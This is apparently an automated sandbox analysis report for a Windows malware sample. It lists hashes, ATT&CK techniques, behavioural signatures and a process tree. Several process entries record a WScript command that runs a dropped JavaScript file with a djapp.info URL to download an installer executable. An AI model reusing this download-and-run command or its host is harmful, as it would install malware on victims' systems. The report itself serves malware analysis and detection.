4784ff01183395cbbca37f078ac6f90d8752249e3bb857f473281992ec7255df

General

Target

5cff4f625c4a6f08070aba6f90c252ec_JaffaCakes118.exe
Size

184KB
MD5

5cff4f625c4a6f08070aba6f90c252ec
SHA1

0ab4e94b25900771194c6b1ace7faee7e6533428
SHA256

4784ff01183395cbbca37f078ac6f90d8752249e3bb857f473281992ec7255df
SHA512

054ef1a7742fc33fdedd478c320a477f4f92607e43ffc9727a22fc781851fbc4a3ab838872ec6e21d7173afcaba9fa93c05d0eeab67d7cae4b4c51009851ca8d
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO35r:/7BSH8zUB+nGESaaRvoB7FJNndnir

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
6	4436	WScript.exe
30	4836	WScript.exe
39	2296	WScript.exe
51	3672	WScript.exe
53	5036	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation	5cff4f625c4a6f08070aba6f90c252ec_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3912	4708	WerFault.exe	81

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings	5cff4f625c4a6f08070aba6f90c252ec_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4708 wrote to memory of 4436	4708	5cff4f625c4a6f08070aba6f90c252ec_JaffaCakes118.exe	82
PID 4708 wrote to memory of 4436	4708	5cff4f625c4a6f08070aba6f90c252ec_JaffaCakes118.exe	82
PID 4708 wrote to memory of 4436	4708	5cff4f625c4a6f08070aba6f90c252ec_JaffaCakes118.exe	82
PID 4708 wrote to memory of 4836	4708	5cff4f625c4a6f08070aba6f90c252ec_JaffaCakes118.exe	94
PID 4708 wrote to memory of 4836	4708	5cff4f625c4a6f08070aba6f90c252ec_JaffaCakes118.exe	94
PID 4708 wrote to memory of 4836	4708	5cff4f625c4a6f08070aba6f90c252ec_JaffaCakes118.exe	94
PID 4708 wrote to memory of 2296	4708	5cff4f625c4a6f08070aba6f90c252ec_JaffaCakes118.exe	96
PID 4708 wrote to memory of 2296	4708	5cff4f625c4a6f08070aba6f90c252ec_JaffaCakes118.exe	96
PID 4708 wrote to memory of 2296	4708	5cff4f625c4a6f08070aba6f90c252ec_JaffaCakes118.exe	96
PID 4708 wrote to memory of 3672	4708	5cff4f625c4a6f08070aba6f90c252ec_JaffaCakes118.exe	99
PID 4708 wrote to memory of 3672	4708	5cff4f625c4a6f08070aba6f90c252ec_JaffaCakes118.exe	99
PID 4708 wrote to memory of 3672	4708	5cff4f625c4a6f08070aba6f90c252ec_JaffaCakes118.exe	99
PID 4708 wrote to memory of 5036	4708	5cff4f625c4a6f08070aba6f90c252ec_JaffaCakes118.exe	100
PID 4708 wrote to memory of 5036	4708	5cff4f625c4a6f08070aba6f90c252ec_JaffaCakes118.exe	100
PID 4708 wrote to memory of 5036	4708	5cff4f625c4a6f08070aba6f90c252ec_JaffaCakes118.exe	100

C:\Users\Admin\AppData\Local\Temp\5cff4f625c4a6f08070aba6f90c252ec_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\5cff4f625c4a6f08070aba6f90c252ec_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4708
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf37C9.js" http://www.djapp.info/?domain=GRCGDZSUsc.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf37C9.exe
  2⤵
  - Blocklisted process makes network request
  PID:4436
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf37C9.js" http://www.djapp.info/?domain=GRCGDZSUsc.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf37C9.exe
  2⤵
  - Blocklisted process makes network request
  PID:4836
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf37C9.js" http://www.djapp.info/?domain=GRCGDZSUsc.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf37C9.exe
  2⤵
  - Blocklisted process makes network request
  PID:2296
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf37C9.js" http://www.djapp.info/?domain=GRCGDZSUsc.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf37C9.exe
  2⤵
  - Blocklisted process makes network request
  PID:3672
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf37C9.js" http://www.djapp.info/?domain=GRCGDZSUsc.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf37C9.exe
  2⤵
  - Blocklisted process makes network request
  PID:5036
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4708 -s 1448
  2⤵
  - Program crash
  PID:3912

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4708 -ip 4708
1⤵
PID:3048

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf37C9.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

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